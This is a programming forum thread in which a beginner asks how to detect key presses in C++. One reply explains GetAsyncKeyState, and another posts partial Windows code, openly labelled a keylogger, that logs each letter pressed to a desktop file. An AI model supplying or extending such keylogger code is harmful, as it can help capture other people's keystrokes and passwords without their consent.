0

How do i get keyboard state C++ when a user presses a key? not "getline or cin"?...

11th Feb 2017, 8:21 PM
Yubhaseni J M Dickson
Yubhaseni J M Dickson - avatar
4 Answers
+ 9
the keylogger gets keypresses and saves them in a file a chosen. the function you mean is : if(GetAsyncKeyState(KEY) & 0x0001) { //do_something(); } this functions tells you if a key is pressed ps. list with key names : https://autohotkey.com/docs/KeyList.htm
11th Feb 2017, 8:38 PM
Georgios Markou
Georgios Markou - avatar
+ 6
on windows : here an example of a keylogger : #include <iostream> #include <windows.h> #include <fstream> using namespace std; char save_in_file(const char* x) { ofstream myfile; myfile.open("c:/Users/George/Desktop/keys.txt", ios_base::app); myfile << x ; myfile << "\n"; myfile.close(); } int main() { while(1) { if( GetAsyncKeyState( 'B' ) & 0x0001 ) { save_in_file("B"); } if( GetAsyncKeyState( 'A' ) & 0x0001 ) { save_in_file("A"); } if( GetAsyncKeyState( 'C' ) & 0x0001 ) { save_in_file("C"); } if( GetAsyncKeyState( 'D' ) & 0x0001 ) { save_in_file("D"); } if( GetAsyncKeyState( 'E' ) & 0x0001 ) { save_in_file("E"); } if( GetAsyncKeyState( 'F' ) & 0x0001 ) { save_in_file("F"); } if( GetAsyncKeyState( 'G' ) & 0x0001 ) { save_in_file("G"); } if( GetAsyncKeyState( 'H' ) & 0x0001 ) { save_in_file("H"); } if( GetAsyncKeyState( 'I' ) & 0x0001 ) { save_in_file("I"); } if( GetAsyncKeyState( 'J' ) & 0x0001 ) { save_in_file("J"); } if( GetAsyncKeyState( 'K' ) & 0x0001 ) { save_in_file("K"); } if( GetAsyncKeyState( 'L' ) & 0x0001 ) { save_in_file("L"); } if( GetAsyncKeyState( 'M' ) & 0x0001 ) { save_in_file("M"); } if( GetAsyncKeyState( 'N' ) & 0x0001 ) { save_in_file("N"); } if( GetAsyncKeyState( 'O' ) & 0x0001 ) { save_in_file("O"); } if( GetAsyncKeyState( 'P' ) & 0x0001 ) { save_in_file("P"); } if( GetAsyncKeyState( 'Q' ) & 0x0001 ) { save_in_file("Q"); } if( GetAsyncKeyState( 'R' ) & 0x0001 ) { save_in_file("R"); } if( GetAsyncKeyState( 'S' ) & 0x0001 ) { save_in_file("S"); } if( GetAsyncKeyState( 'T' ) & 0x0001 ) { save_in_file("T"); } if( GetAsyncKeyState( 'U' ) & 0x0001 ) { save_in_file("U"); } if( GetAsyncKeyState( 'V' ) & 0x0001 ) { save_in_file("V"); } if( GetAsyncKeyState( 'W' ) & 0x0001 ) { save_in_file("W"); } if( GetAsyncKeyState( 'X' ) & 0x0001 ) {
11th Feb 2017, 8:35 PM
Georgios Markou
Georgios Markou - avatar
0
Wow Thank you bro... But how do I actually apply it... I'm using CppDroid IDE
11th Feb 2017, 8:47 PM
Yubhaseni J M Dickson
Yubhaseni J M Dickson - avatar
0
Thanks Georgios, really that helped me a lot .
10th Aug 2019, 8:54 PM
mostafayasin
mostafayasin - avatar